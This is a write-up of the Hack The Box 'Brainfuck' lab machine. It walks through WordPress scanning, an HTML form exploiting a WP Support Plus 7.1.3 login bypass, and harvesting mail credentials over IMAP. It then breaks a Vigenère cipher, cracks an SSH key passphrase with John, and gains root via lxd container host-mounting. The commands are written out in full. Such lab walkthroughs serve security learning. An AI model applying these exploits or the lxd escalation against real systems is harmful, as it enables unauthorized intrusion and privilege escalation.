Hack The Box - Brainfuck Machine Write-up


( I wrote this English version to share my approach with more people. I’m not a native English speaker, so if something sounds weird or the grammar slips, appreciate your understanding. )

brainfuck1.png

Intro

Don’t be scared off by the “Insane” rating; it isn’t as bad as it looks. The path has many steps, but once the attack chain is laid out, each step isn’t too hard. This write-up shows exactly how I did it.

Enumeration

Started with an nmap scan.

┌──(samchen㉿kali)-[~/Desktop]
└─$ nmap -sC -sV 10.129.228.97  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-03 10:48 EDT
Nmap scan report for 10.129.228.97
Host is up (0.075s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|_  256 23:f5:a3:33:33:9d:76:d5:f2:ea:69:71:e3:4e:8e:02 (ED25519)
25/tcp  open  smtp?
|_smtp-commands: Couldn't establish connection on port 25
110/tcp open  pop3     Dovecot pop3d
143/tcp open  imap     Dovecot imapd
443/tcp open  ssl/http nginx 1.10.0 (Ubuntu)
| tls-nextprotoneg: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.10.0 (Ubuntu)
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
| Not valid before: 2017-04-13T11:19:29
|_Not valid after:  2027-04-11T11:19:29
| tls-alpn: 
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 237.98 seconds


From the certificate, noted several hostnames and added them to /etc/hosts .

10.129.228.97 brainfuck.htb www.brainfuck.htb sup3rs3cr3t.brainfuck.htb 


Visited https://brainfuck.htb . It was a WordPress site, and the domain email orestis@brainfuck.htb stood out.

brainfuck2.JPG

Not sure how it would be used, so saved it for later.


Went to https://sup3rs3cr3t.brainfuck.htb/ . It looked like a forum. After some testing, found nothing useful, so set it aside.

brainfuck1.JPG

Back on brainfuck.htb . Outdated WordPress versions or plugins have many known vulnerabilities, so WPScan was run against the site.

┌──(samchen㉿kali)-[~/Desktop]
└─$ wpscan --url https://brainfuck.htb --disable-tls-checks --random-user-agent
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: https://brainfuck.htb/ [10.129.228.97]
[+] Started: Fri Oct  3 12:40:11 2025

Interesting Finding(s):

...
[+] WordPress version 4.7.3 identified (Insecure, released on 2017-03-06).
 | Found By: Rss Generator (Passive Detection)
 |  - https://brainfuck.htb/?feed=rss2, <generator>https://wordpress.org/?v=4.7.3</generator>
 |  - https://brainfuck.htb/?feed=comments-rss2, <generator>https://wordpress.org/?v=4.7.3</generator>
...

[i] Plugin(s) Identified:

[+] wp-support-plus-responsive-ticket-system
 | Location: https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/
 | Last Updated: 2019-09-03T07:57:00.000Z
 | [!] The version is out of date, the latest version is 9.1.2
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 7.1.3 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt
...

Version info showed WordPress 4.7.3 and the wp-support-plus-responsive-ticket-system plugin at 7.1.3 .


Searched the version and found a privilege escalation vulnerability on Exploit-DB.

brainfuck3.JPG
brainfuck4.JPG

Root Cause of the WP Support Plus Responsive Ticket System 7.1.3 Privilege Escalation

In short, the plugin exposes a “social quick login” AJAX action without proper authentication and authorization. Supplying a username or email lets a request log in a user directly. Further details:https://security.szurek.pl/en/wp-support-plus-responsive-ticket-system-713-privilege-escalation/


From brainfuck.htb/wp-login.php/, the failure message showed the admin user existed.

brainfuck11.JPG

Used admin as the username and copied the PoC into hack.html.

<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
	Username: <input type="text" name="username" value="admin">
	<input type="hidden" name="email" value="sth">
	<input type="hidden" name="action" value="loginGuestFacebook">
	<input type="submit" value="Login">
</form>
brainfuck5.JPG

POSTed the request and gained admin privileges.

brainfuck6.JPG

More Exploration and SMTP Access

In the SMTP plugin settings, found very useful credentials: username orestis, password kHGuERB29DNiNE .

brainfuck7.JPG

Connected and logged in to inspect mail.

┌──(samchen㉿kali)-[~/Desktop]
└─$ telnet brainfuck.htb 143
Trying 10.129.228.97...
Connected to brainfuck.htb.
Escape character is '^]'.
* OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE AUTH=PLAIN] Dovecot ready.
a1 LOGIN orestis kHGuERB29DNiNE
...
a5 FETCH 2 BODY.PEEK[]
* 2 FETCH (BODY[] {514}
Return-Path: <root@brainfuck.htb>
X-Original-To: orestis
Delivered-To: orestis@brainfuck.htb
Received: by brainfuck (Postfix, from userid 0)
        id 4227420AEB; Sat, 29 Apr 2017 13:12:06 +0300 (EEST)
To: orestis@brainfuck.htb
Subject: Forum Access Details
Message-Id: <20170429101206.4227420AEB@brainfuck>
Date: Sat, 29 Apr 2017 13:12:06 +0300 (EEST)
From: root@brainfuck.htb (root)

Hi there, your credentials for our "secret" forum are below :)

username: orestis
password: kIEnnfEKJ#9UmdO

Regards
)
a5 OK Fetch completed (0.003 + 0.000 secs).
a6 FETCH 1 BODY.PEEK[]
...
Your new WordPress site has been successfully set up at:

https://brainfuck.htb

You can log in to the administrator account with the following information:

Username: admin
Password: The password you chose during the install.
Log in here: https://brainfuck.htb/wp-login.php
...
a6 OK Fetch completed (0.001 + 0.000 secs).

One message, Forum Access Details, contained username: orestis and password: kIEnnfEKJ#9UmdO, which appeared to be the forum credentials.


Tried them on sup3rs3cr3t.brainfuck.htb and logged in as orestis

brainfuck8.JPG

Observing Threads and Decrypting the Ciphertext

In the “SSH Access” thread, saw orestis asking an admin for a key; in another encrypted thread “Key,” the content looked like gibberish, plus a URL-like string ”mnvze://zsrivszwm.rfz/8cr5ai10r915218697i1w658enqc0cs8/ozrxnkc/ub_sja”

brainfuck9.JPG
brainfuck10.JPG

Noticed the signature line “Orestis - Hacking for fun and profit.” In the encrypted thread, the same signature’s ciphertext varied. After some research, it looked like a Vigenère cipher.


With known-plaintext available, analyzed the key using an online tool.(https://asecuritysite.com/coding/vig2)。

brainfuck12.JPG

Success: the key was fuckmybrain .


Used Boxentriq to decrypt the ciphertext and finally understood the admin’s messages.

brainfuck13.JPG

The admin provided a private-key download link: https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa

Cracking the Private Key Passphrase

Once downloaded, the private key required a passphrase.

brainfuck14.JPG

Converted it with ssh2john to a John format.

python /usr/share/john/ssh2john.py id_rsa > sshkey.hash

Ran John with the rockyou wordlist.

┌──(samchen㉿kali)-[~/Desktop]
└─$ john sshkey.hash --wordlist=/usr/share/wordlists/rockyou.txt --format=ssh  
Created directory: /home/samchen/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
3poulakia!       (id_rsa)     
1g 0:00:00:02 DONE (2025-10-04 01:32) 0.4115g/s 5127Kp/s 5127Kc/s 5127KC/s 3psdyy:)..3pornuthin
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Cracked the password: 3poulakia!


Tested SSH login.

chmod 600 id_rsa
ssh -i id_rsa orestis@brainfuck.htb
brainfuck15.JPG

Entered the passphrase, logged in as orestis, and grabbed user.txt!

Final Privilege Escalation

(My approach may not be the intended path; use it as a reference.)

Checked id

orestis@brainfuck:~$ id
uid=1000(orestis) gid=1000(orestis) groups=1000(orestis),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),121(lpadmin),122(sambashare)

Found orestis in the lxd group. lxd has a known privilege escalation path
(Reference:https://www.hackingarticles.in/lxd-privilege-escalation/ )


On the attack machine, built an Alpine image.

┌──(samchen㉿kali)-[~/Desktop]
└─$ git clone https://github.com/saghul/lxd-alpine-builder.git
Cloning into 'lxd-alpine-builder'...
remote: Enumerating objects: 57, done.
remote: Counting objects: 100% (15/15), done.
remote: Compressing objects: 100% (11/11), done.
remote: Total 57 (delta 6), reused 8 (delta 4), pack-reused 42 (from 1)
Receiving objects: 100% (57/57), 3.12 MiB | 3.38 MiB/s, done.
Resolving deltas: 100% (19/19), done.

┌──(samchen㉿kali)-[~/Desktop]
└─$ cd lxd-alpine-builder
┌──(samchen㉿kali)-[~/Desktop/lxd-alpine-builder]
└─$ sudo ./build-alpine 
[sudo] password for samchen: 
Determining the latest release... v3.22
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.22/main/x86_64
Downloading alpine-keys-2.5-r0.apk
yword 'APK-TOOLS.checksum.SHA1'
alpine-devel@lists.alpinelinux.org-6165ee59.rsa.pub: OK
Verified OK
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  
...
Selecting mirror http://alpinelinux.mirrors.ovh.net//v3.22/main
fetch http://alpinelinux.mirrors.ovh.net//v3.22/main/x86_64/APKINDEX.tar.gz
(1/27) Installing alpine-baselayout-data (3.7.0-r0)
(2/27) Installing musl (1.2.5-r10)
(3/27) Installing busybox (1.37.0-r19)
...
Executing busybox-1.37.0-r19.post-i
OK: 9 MiB in 27 packages
┌──(samchen㉿kali)-[~/Desktop/lxd-alpine-builder]
└─$ ls -lh *.tar.gz
-rw-rw-r-- 1 samchen samchen 3.2M Oct  4 02:14 alpine-v3.13-x86_64-20210218_0139.tar.gz
-rw-r--r-- 1 root    root    3.9M Oct  4 02:15 alpine-v3.22-x86_64-20251004_0215.tar.gz


Started a simple HTTP server locally and downloaded the image on the target.

python3 -m http.server 8080
wget http://10.10.14.235:8080/alpine-v3.22-x86_64-20251004_0215.tar.gz -O alpine.tar.gz
brainfuck16.JPG

Imported the image .

orestis@brainfuck:~$ lxc image import alpine.tar.gz --alias alpine
Image imported with fingerprint: c004daf415754a14922dcba253163019283eeed1a218f218db65ab72e7da81de

orestis@brainfuck:~$ lxc image list
+--------+--------------+--------+-------------------------------+--------+--------+-----------------------------+
| ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          |  ARCH  |  SIZE  |         UPLOAD DATE         |
+--------+--------------+--------+-------------------------------+--------+--------+-----------------------------+
| alpine | c004daf41575 | no     | alpine v3.22 (20251004_02:15) | x86_64 | 3.85MB | Oct 4, 2025 at 6:36am (UTC) |
+--------+--------------+--------+-------------------------------+--------+--------+-----------------------------+

Created a privileged container and mounted the host root / to /mnt/host inside the container.

orestis@brainfuck:~$ lxc init alpine pwnx -c security.privileged=true
Creating pwnx

orestis@brainfuck:~$ lxc config device add pwnx host-root disk source=/ path=/mnt/host
Device host-root added to pwnx

Launched the container, obtained a shell, then chrooted into the host as root.

orestis@brainfuck:~$ lxc start pwnx
orestis@brainfuck:~$ lxc exec pwnx -- /bin/sh
~ # chroot /mnt/host /bin/sh
root@pwnx:/#


Confirmed root privileges and finally grabbed root.txt!

brainfuck17.JPG
brainfuck.JPG